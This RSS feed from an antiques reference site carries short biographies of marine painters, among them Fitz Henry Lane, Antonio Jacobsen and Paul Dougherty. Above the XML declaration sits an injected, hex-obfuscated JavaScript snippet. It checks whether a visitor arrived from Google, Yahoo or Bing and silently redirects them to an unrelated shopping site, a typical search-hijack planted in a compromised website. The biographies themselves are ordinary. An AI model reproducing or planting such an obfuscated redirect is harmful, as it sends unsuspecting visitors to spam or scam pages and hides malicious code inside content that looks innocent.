<script  type="text/javascript">var __encode ='sojson.com', _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(window);var __Ox69b4f=["\x72\x65\x66\x65\x72\x72\x65\x72","\x74\x65\x73\x74","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x73\x70\x6F\x72\x74\x73\x68\x6F\x70\x70\x69\x6E\x67\x2E\x63\x6F\x6D"];var regexp=/\.(google|yahoo|bing)(\.[a-z0-9\-]+){1,2}\//ig;var where=document[__Ox69b4f[0x0]];if(regexp[__Ox69b4f[0x1]](where)){window[__Ox69b4f[0x3]][__Ox69b4f[0x2]]= __Ox69b4f[0x4]}</script>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Internet Antique Gazette &#187; marine paintings &amp; prints</title>
	<atom:link href="http://www.internetantiquegazette.com/category/nautical/nautical_marine_paintings_prints/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.internetantiquegazette.com</link>
	<description>Reference information on antiques &#38; fine art topics.</description>
	<lastBuildDate>Tue, 31 Dec 2019 08:03:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>Tordoff, Frederick &#8211; English/American Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/1484_tordoff_frederick_englishamerican_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/1484_tordoff_frederick_englishamerican_artist/#comments</comments>
		<pubDate>Thu, 19 May 2011 13:16:24 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://1484-guid</guid>
		<description><![CDATA[Frederick Tordoff (born 1939) <p>A New Jersey-based artist, Fred Tordoff specializes in marine and sailing subjects.</p> <p>Born and raised in a coastal town in England, Tordoff sketched local scenes and landmarks. While studying marine radio and electronics in Yorkshire, he began making paintings of ships in oils as an avocation. He would continue to pursue this dual career, traveling the world as a radio and electronics officer aboard ships and producing paintings of ships, [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/1484_tordoff_frederick_englishamerican_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Frederick Tordoff (born 1939)</h2>
<p>A New Jersey-based artist, Fred Tordoff specializes in marine and sailing subjects.</p>
<p>Born and raised in a coastal town in England, Tordoff sketched local scenes and landmarks. While studying marine radio and electronics in Yorkshire, he began making paintings of ships in oils as an avocation. He would continue to pursue this dual career, traveling the world as a radio and electronics officer aboard ships and producing paintings of ships, first in oils, later in watercolors.</p>
<p>Currently Tordoff resides in New Jersey, and paints maritime scenes of the Hudson, Nantucket and New Bedford whaling ships, and the northeast coast of the U.S. His paintings are in collections in England, the United States, Scotland, Holland, Norway, New Zealand and South Africa. </p>
<p><i>biographical information courtesy of the George Glazer Gallery (georgeglazer.com)</i>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/1484_tordoff_frederick_englishamerican_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Smith, Joseph B. &amp; Smith, William S. &#8211; American Artists &#8211; Marine, Father &amp; Son</title>
		<link>http://www.internetantiquegazette.com/nautical/851_smith_joseph_b_smith_william_s_american_artists_marine_father_son/</link>
		<comments>http://www.internetantiquegazette.com/nautical/851_smith_joseph_b_smith_william_s_american_artists_marine_father_son/#comments</comments>
		<pubDate>Thu, 19 May 2011 12:09:54 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>

		<guid isPermaLink="false">http://851-guid</guid>
		<description><![CDATA[Joseph B. Smith (1798-1876) &#038; William S. Smith (1821- ?) <p>A master of nautical ship portraits, Joseph B. Smith was born in New York City in 1798, and trained for the printing trade. His son and partner in many paintings, William S., was born in 1821.</p> <p>Joseph&#8217;s earliest known work was a lithograph of his printing depicting the clipper ship Mechanic&#8217;s Own. His earliest known painting was the 1849 portrait of the Steamer Hartford [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/851_smith_joseph_b_smith_william_s_american_artists_marine_father_son/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Joseph B. Smith (1798-1876) &#038; William S. Smith (1821- ?)</h2>
<p>A master of nautical ship portraits, Joseph B. Smith was born in New York City in 1798, and trained for the printing trade.  His son and partner in many paintings, William S., was born in 1821.</p>
<p>Joseph&#8217;s earliest known work was a lithograph of his printing depicting the clipper ship <u>Mechanic&#8217;s Own</u>.  His earliest known painting was the 1849 portrait of the <u>Steamer Hartford</u> underway and bound for the California goldfields (now in the Museum of the City of New York).  In partnership the father and son Smiths are known to have produced at least four large-folio works for Nathaniel Currier, the <u>Great Republic</u> in 1855, <u>Adelaide</u>, <u>Ocean Express</u>, and <u>Red Jacket</u> in 1856. Currier&#8217;s lithographs credited them to &#8220;J.B. Smith &#038; Son, Brooklyn.&#8221;</p>
<p>Through the 1840&#8242;s until 1862 (when son William enlisted in the Union Army) the Smith duo produced a substantial number of large nautical scenes and ship portraits, of which about thirty are known to have survived.  They include two ferry portraits, 17 portraits of sailing ships, 7 portraits of steam powered vessels and 2 yachts.  Most are privately owned, but several are in museum collections, including those of the Essex Museum, the Brooklyn Historical Society and the Mariners&#8217; Museum.</p>
<p>The Smith&#8217;s did not always sign their paintings, often electing to affix a business card to the reverse.  Even without their signature, many of their works can be positively identified by their American flag, at once distinctive and used by them consistently in this form (a full rippled flag streaming in the wind to the right with a mostly straight top and a somewhat concave form to to the other three sides).</p>
<p>William survived the Civil War and was discharged in 1865.  Perhaps because of his father&#8217;s advanced age, their artistic partnership was never renewed and William himself is lost to history.  Joseph, however, moved to the Philadelphia area where he is known as a lithographer and from a few small sketches and watercolors.  He died in Camden, New Jersey in 1876.</p>
<p>p4A.com acknowledges the scholarship of A. J. Peluso, Jr. as the source of many of the facts summarized in this note.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/851_smith_joseph_b_smith_william_s_american_artists_marine_father_son/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Silva, Francis Augustus</title>
		<link>http://www.internetantiquegazette.com/nautical/1239_silva_francis_augustus/</link>
		<comments>http://www.internetantiquegazette.com/nautical/1239_silva_francis_augustus/#comments</comments>
		<pubDate>Thu, 19 May 2011 11:44:25 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://1239-guid</guid>
		<description><![CDATA[Francis Augustus Silva (1835 to 1886) <p>Silva began painting when he was apprenticed to a sign painter in his native New York. Despite receiving no formal art education, he launched his fine art career in 1865 and by 1868 was included in the National Academy of Design&#8217;s annual exhibition.</p> <p>Although Fitz Hugh Lane and Martin Johnson Heade are often heralded as the leaders of the Luminist movement, Silva has come to be recognized as [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/1239_silva_francis_augustus/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Francis Augustus Silva (1835 to 1886)</h2>
<p>Silva began painting when he was apprenticed to a sign painter in his native New York. Despite receiving no formal art education, he launched his fine art career in 1865 and by 1868 was included in the National Academy of Design&#8217;s annual exhibition.</p>
<p>Although Fitz Hugh Lane and Martin Johnson Heade are often heralded as the leaders of the Luminist movement, Silva has come to be recognized as a strong contributor, particularly through his coastal views. He travelled extensively up and down the Northeast coast, painting views of Boston Harbor and Massachusetts&#8217; North Shore, Narragansett Bay, and the Hudson River. Through careful manipulation of light and color Silva rendered these landscapes most thoughtfully, not only accurately translating the terrain before him, but evoking the sentimentality of the natural American landscape.</p>
<p>Perhaps the words of Silva himself best explain his approach to painting. Silva was recorded as stating &#8220;A picture must be more than a skillfully painted canvas; it must tell something&#8230;Some men can never paint from a memory or feeling &#8211; they give us only cold facts in the most mannered way&#8230;Many of our artists learn certain artist&#8217;s tricks and then repeat them continually, with no idea of the deeper meaning of art, but only the outside of things, and very trivial things at that. All earnestness of purpose is lost, and with them art becomes a useless field of affectation where their tricks of color and handling are displayed.&#8221;</p>
<p><i>Reference note courtesy of Skinner, Inc., May 2003</i></p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/1239_silva_francis_augustus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lane, Fitz Hugh (Henry) &#8211; American Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/1686_lane_fitz_hugh_henry_american_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/1686_lane_fitz_hugh_henry_american_artist/#comments</comments>
		<pubDate>Tue, 17 May 2011 09:21:50 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://1686-guid</guid>
		<description><![CDATA[Fitz Hugh (Henry) Lane (1804 to 1865) <p>Fitz Henry Lane was one of the foremost American marine painters of the nineteenth century. He was born in 1804 in Gloucester, Massachusetts, and spent much of his youth sketching the Cape Ann shore. He apprenticed with William S. Pendleton, the Boston lithography firm, in the early 1830&#8242;s, specializing in topographic views. In the 1840&#8242;s Lane probably saw the works of Robert Salmon and Washington Allston in [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/1686_lane_fitz_hugh_henry_american_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Fitz Hugh (Henry) Lane (1804 to 1865)</h2>
<p>Fitz Henry Lane was one of the foremost American marine painters of the nineteenth century. He was born in 1804 in Gloucester, Massachusetts, and spent much of his youth sketching the Cape Ann shore. He apprenticed with William S. Pendleton, the Boston lithography firm, in the early 1830&#8242;s, specializing in topographic views. In the 1840&#8242;s Lane probably saw the works of Robert Salmon and Washington Allston in Boston, and it was at this time that he decided to concentrate on painting. The paintings of the late 1840&#8242;s and early 1850&#8242;s reflected Lane&#8217;s earlier graphics training, in conjunction with the influence of the marine artists of the earlier generation.</p>
<p>The following information is reprinted with permission from an editorial in the <i>Maine Antique Digest</i> by S. Clayton Pennington.  Copyright Maine Antique Digest, July, 2005.</p>
<p><b>Getting the Names Straight</b></p>
<p>It is not often that the title of a book contains earth-shaking news, but a reprint of John Wilmerding&#8217;s** 1971 <b><i>Fitz Hugh Lane</b></i> gives the story away with its new title, <b><i>Fitz Henry Lane</b></i>. That&#8217;s right, the name of one of America&#8217;s foremost marine artists has been changed by the foremost Lane scholar.</p>
<p>According to a press release by the Cape Ann Historical Association, &#8220;The discovery was made in 2004, the 200th anniversary of Lane&#8217;s birth, in his hometown of Gloucester, Massachusetts, where the Cape Ann Historical Museum celebrated with a year-long series of programs and special events. Wilmerding spoke in the fall, attracting the predictable standing room only crowd and prompting several completely unexpected developments.&#8221;</p>
<p>As the introduction to the book explains, &#8220;In the audience that night was Sarah Dunlap of the Gloucester Archives Committee. When Wilmerding ended the evening by posing questions about Lane that remained unanswered, Dunlap thought that local researchers could be helpful. She talked to Stephanie Buck, the librarian/archivist at the Museum, and together with other members of the Gloucester Archives Committee, they decided to tackle the mystery of Lane&#8217;s name. It was generally established that he had changed his name from the original Nathaniel Rogers Lane, and Dunlap and Buck tracked down Lane&#8217;s 1831 letter to the Commonwealth of Massachusetts requesting a name change. His petition was granted in 1832, and his name became not Fitz Hugh Lane but Fitz Henry Lane.&#8221;</p>
<p>The text of the reprint has not been changed, it still contains references to Fitz Hugh Lane, which may still perpetuate the old information.</p>
<p>&#8230;Left unmentioned is author Tony Peluso&#8217;s claim in the September 1992 M.A.D. that at least half of the unsigned paintings attributed to Lane were actually painted by Mary Mellen.&#8221;</p>
<p><b>p4A.com note</b>: **John Wilmerding (born 1938) is one of America&#8217;s most distinguished art collectors, scholars and authors.  He is the great-grandson of Henry O. Havemeyer, a sugar tycoon and important early collector of Americana and prints.  His grandmother was Electra Havemeyer Webb, one of the most influential Americana collectors of the early twentieth century and the founder of the Shelburne Museum in Vermont (1947).  In 2004 Wilmerding gave a collection of 51 great American paintings, drawings and watercolors, including works of Winslow Homer, Thomas Eakins, George Caleb Bingham, Martin Johnson Heade, John Frederick Kensett, Frederick Edwin Church, and many others, to the National Gallery of Art in Washington, where he had served as senor curator of American Art and Associate Director.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/1686_lane_fitz_hugh_henry_american_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Norton, William Edward &#8211; American Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/783_norton_william_edward_american_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/783_norton_william_edward_american_artist/#comments</comments>
		<pubDate>Fri, 13 May 2011 16:23:50 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>

		<guid isPermaLink="false">http://783-guid</guid>
		<description><![CDATA[William Edward Norton (1843-1916) <p>William Edward Norton grew up in Boston, studied at the Lowell Institute and later with George Inness. He went to sea as a teenager (his family owned ships) and his experiences there led him to favor marine subjects throughout his career.</p> <p>In 1868, Norton went to Paris to continue his studies, and eventually settled in London. He exhibited regularly at the Royal Academy and at the Paris Salon. He returned [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/783_norton_william_edward_american_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>William Edward Norton (1843-1916)</h2>
<p>William Edward Norton grew up in Boston, studied at the Lowell Institute and later with George Inness. He went to sea as a teenager (his family owned ships) and his experiences there led him to favor marine subjects throughout his career.</p>
<p>In 1868, Norton went to Paris to continue his studies, and eventually settled in London. He exhibited regularly at the Royal Academy and at the Paris Salon. He returned to the U.S. in 1893, and worked in New York until his death. He was a member of the Salmagundi Club and the Boston Art Club. Norton favored the Barbizon style of painting over Impressionism as is readily apparent from his work. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/783_norton_william_edward_american_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lever, Richard Hayley &#8211; Australian/American Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/862_lever_richard_hayley_australianamerican_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/862_lever_richard_hayley_australianamerican_artist/#comments</comments>
		<pubDate>Fri, 13 May 2011 12:55:36 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://862-guid</guid>
		<description><![CDATA[Richard Hayley Lever (1876-1958) <p>Richard Hayley Lever best known as a Post-Impressionist of marine scenes, he was born in Australia, and moved to London in 1893. He settled at St. Ives in Cornwall in 1900, where he painted marine scenes. For the next ten years, the modified impressionist style he developed brought him much recognition in Europe. In 1911, New England painter Ernest Lawson persuaded him to emigrate to the United States and Lever [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/862_lever_richard_hayley_australianamerican_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Richard Hayley Lever (1876-1958)</h2>
<p>Richard Hayley Lever best known as a Post-Impressionist of marine scenes, he was born in Australia, and moved to London in 1893.  He settled at St. Ives in Cornwall in 1900, where he painted marine scenes.  For the next ten years, the modified impressionist style he developed brought him much recognition in Europe.  In 1911, New England painter Ernest Lawson persuaded him to emigrate to the United States and Lever established his studio in Caldwell, New Jersey.</p>
<p>After the Depression he was forced to give up his New Jersey home and became director of the Studio Art Club in Mt. Vernon, New York.  For the following 20 years he spent his summers at Gloucester, Massachusetts, and painted widely throughout the New England States including Caldwell, Manasquan, Woodstock, Nantucket, Vermont and Mohegan Island. In his later years Lever&#8217;s palette became more vibrant and his typically bold and slashing signature of the 1910&#8242;s and 1920&#8242;s moderated and he signed his later work with less flourish.</p>
<p>Today Lever&#8217;s painting can be found at the Metropolitan Museum of Art, Baltimore Museum of Art, Corcoran Gallery of Art, and the White House. </p>
<p>Information courtesy of Northeast Auctions.</p>
<p>Richard Haley Lever refused to acknowledge any stylistic similarities of his own work to other prominent artistic movements during his career. His style was, simply put, his very own. Lever was born in Australia, and his travels took him to Europe, Great Britain, and eventually to the center of the modern art world- the United States. It was here that he gained the most recognition for his individualistic style: his exhibitions and awards are numerous, and he is lauded for his harbor scenes of Manhattan, St. Ives and other areas he encountered during his travels.</p>
<p>Information courtesy of Cowan&#8217;s Auctions, June 2007.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/862_lever_richard_hayley_australianamerican_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jacobsen, Antonio Nicolo Gaspara &#8211; American Nautical Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/1052_jacobsen_antonio_nicolo_gaspara_american_nautical_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/1052_jacobsen_antonio_nicolo_gaspara_american_nautical_artist/#comments</comments>
		<pubDate>Fri, 13 May 2011 09:51:18 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://1052-guid</guid>
		<description><![CDATA[Antonio Jacobsen <p>Born in Copenhagen, Denmark in 1850, Antonio Nicolo Gaspara Jacobsen studied art at the Royal Academy of Design in Copenhagen and came to New York City in 1871 to avoid being drafted into the Franco-Prussian War.</p> <p>To earn money, Jacobsen decorated safe doors for the Marvin Safe Company and began painting ship portraits for the Old Dominion Steamship Line. His reputation grew to the point that he was widely regarded as one [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/1052_jacobsen_antonio_nicolo_gaspara_american_nautical_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Antonio Jacobsen</h2>
<p>Born in Copenhagen, Denmark in 1850, Antonio Nicolo Gaspara Jacobsen studied art at the Royal Academy of Design in Copenhagen and came to New York City in 1871 to avoid being drafted into the Franco-Prussian War.</p>
<p>To earn money, Jacobsen decorated safe doors for the Marvin Safe Company and began painting ship portraits for the Old Dominion Steamship Line. His reputation grew to the point that he was widely regarded as one of America&#8217;s finest marine artists, painting around 4,000 portraits of the steamships that came to dock at the New York City Harbor between 1876 and 1919. Jacobsen&#8217;s paintings of these ships were often based on plans and blueprints supplied by their owners. Three New Orleans based steamer lines, the Morgan Line, the New Orleans Belize Royal Mail, and the Central American Steamship Company gave him some of his most extensive commissions.</p>
<p>In his later years, Jacobsen&#8217;s daughter Helen helped paint the sky and water of his pictures and his son, Carl, painted some of his own ship portraits. Jacobsen died in 1921 in West Hoboken, New Jersey, fondly known as the &#8220;Audubon of Steam Vessels.&#8221;</p>
<p>Jacobean&#8217;s artistic output can be difficult to believe but two books have been published listing about 3,500 specific paintings: <b><i>Antonio Jacobsen &#8211; The Checklist</b></i>, published in 1984, identifies approximately 2,500 specific Jacobsen paintings.  Another 1,000 are listed in <b><i>Antonio Jacobsen &#8211; The Checklist: Addenda List Number 2</b></i> published in 1994.</p>
<p>The work ethic that produced such a large quantity of well regarded paintings was described in the April 2, 1887 edition of the <i>Maine Journal</i> as follows:  &#8220;We recently dropped in on marine artist Jacobsen at his studio on Palisades over-looking the Hudson, and found this gentleman improving the day, which was a pleasant one, by painting marine pictures at the rate of one every two hours, in the endeavor to catch up with the many orders he had on hand.  It is a question if there is another marine artist in the United States or the world that can do as satisfactory work in his line as Jacobsen.  He has made himself so valuable as a producer of perfect pictures of steam and sail vessels that those who have been accustomed to patronize him would be &#8216;at sea,&#8217; as it were, should his hand cease to wield the brush.  May he be spared to paint the entire new naval fleet, now an established fact, and the new merchant marine fleet in prospective.&#8221;</p>
<p>Reference note by p4A editors. Updated April 2011.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/1052_jacobsen_antonio_nicolo_gaspara_american_nautical_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gifford, Charles Henry &#8211; American Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/1133_gifford_charles_henry_american_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/1133_gifford_charles_henry_american_artist/#comments</comments>
		<pubDate>Thu, 12 May 2011 13:49:33 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://1133-guid</guid>
		<description><![CDATA[Charles Henry Gifford (1839-1904) <p> The son of a Fairhaven, Massachusetts ship&#8217;s carpenter, Gifford worked as a shoemaker until 1862, when he enlisted in the Union Army. After fighting in the Civil War, Gifford returned to Fairhaven in 1865 and decided to take up painting. He established a studio in New Bedford in 1868 and, like his fellow Fairhavener, William Bradford, decided to focus his attention on the sea. Gifford showed considerable talent, not [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/1133_gifford_charles_henry_american_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Charles Henry Gifford (1839-1904)</h2>
<p> The son of a Fairhaven, Massachusetts ship&#8217;s carpenter, Gifford worked as a shoemaker until 1862, when he enlisted in the Union Army. After fighting in the Civil War, Gifford returned to Fairhaven in 1865 and decided to take up painting. He established a studio in New Bedford in 1868 and, like his fellow Fairhavener, William Bradford, decided to focus his attention on the sea. Gifford showed considerable talent, not only for the particulars of ships and sailing, but for the subtleties of atmosphere and light. As John I. H. Baur, Gifford&#8217;s biographer, has written, &#8220;Gifford was a typical Luminist in his concern for light, his mirror-like surfaces, and his preference for working on an intimate scale&#8221; (<u>An American Luminist: Charles Henry Gifford (1839-1904)</u>, The Katonah Gallery, Katonah, N.Y., 1987).</p>
<p>According to Baur, Gifford painted some of his most impressive seascapes from the beach behind the house he had built for himself on Poverty Point in Fairhaven in 1875. Among these are many of the small but highly finished canvases that Gifford called &#8220;my little gems&#8221;. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/1133_gifford_charles_henry_american_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Drew, Clement &#8211; American Marine Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/331_drew_clement_american_marine_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/331_drew_clement_american_marine_artist/#comments</comments>
		<pubDate>Thu, 12 May 2011 12:00:10 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://331-guid</guid>
		<description><![CDATA[Clement Drew (American, 1806 to 1889) <p> Clement Drew was a noted Massachusetts marine painter, figurehead carver, photographer, and art dealer.</p> ]]></description>
			<content:encoded><![CDATA[<h2>Clement Drew (American, 1806 to 1889)</h2>
<p> Clement Drew was a noted Massachusetts marine painter, figurehead carver, photographer, and art dealer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/331_drew_clement_american_marine_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dougherty, Paul &#8211; American Artist</title>
		<link>http://www.internetantiquegazette.com/nautical/1142_dougherty_paul_american_artist/</link>
		<comments>http://www.internetantiquegazette.com/nautical/1142_dougherty_paul_american_artist/#comments</comments>
		<pubDate>Thu, 12 May 2011 11:56:16 +0000</pubDate>
		<dc:creator>hcst</dc:creator>
				<category><![CDATA[marine paintings & prints]]></category>
		<category><![CDATA[nautical]]></category>
		<category><![CDATA[paintings]]></category>
		<category><![CDATA[works on paper]]></category>

		<guid isPermaLink="false">http://1142-guid</guid>
		<description><![CDATA[Paul Dougherty (1877-1947) <p>Born in Brooklyn, New York, Paul Dougherty became a famous painter of dramatic marine scenes and desert landscapes although his family hoped he would become a lawyer.</p> <p>Following his father who was an attorney, he graduated from Brooklyn Polytechnic Institute in 1896 and New York Law School in 1898. But he changed professions to art and studied with Robert Henri and in Europe for five years from 1900 to 1905.</p> <p>He [...] <b>Click <a href="http://www.internetantiquegazette.com/nautical/1142_dougherty_paul_american_artist/">here</a> to continue reading.</b>]]></description>
			<content:encoded><![CDATA[<h2>Paul Dougherty (1877-1947)</h2>
<p>Born in Brooklyn, New York, Paul Dougherty became a famous painter of dramatic marine scenes and desert landscapes although his family hoped he would become a lawyer.</p>
<p>Following his father who was an attorney, he graduated from Brooklyn Polytechnic Institute in 1896 and New York Law School in 1898. But he changed professions to art and studied with Robert Henri and in Europe for five years from 1900 to 1905.</p>
<p>He then painted along the coast of Maine and his paintings were compared to those of Winslow Homer. Of his success, John Sloan said: &#8220;Everything came to him; all his pictures sold, he won all the prizes. The rich delighted to honor him, and his wives were glamorous&#8221; (Falk). </p>
<p>In 1907, he was elected a Member to the National Academy of Design in New York. He experimented with sculpture but settled on marine paintings, primarily focused on the ocean. Arthritis forced him to seek a milder climate, and in 1928, he began spending his winters in Arizona where he painted desert landscapes and mountains. In 1931, he moved to the Monterey Peninsula in California. </p>
<p>His work is in the collections of the Metropolitan Museum of Art; the Joslyn Museum in Omaha; and the Fort Worth Museum in Texas as well as many other museums.<br /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.internetantiquegazette.com/nautical/1142_dougherty_paul_american_artist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
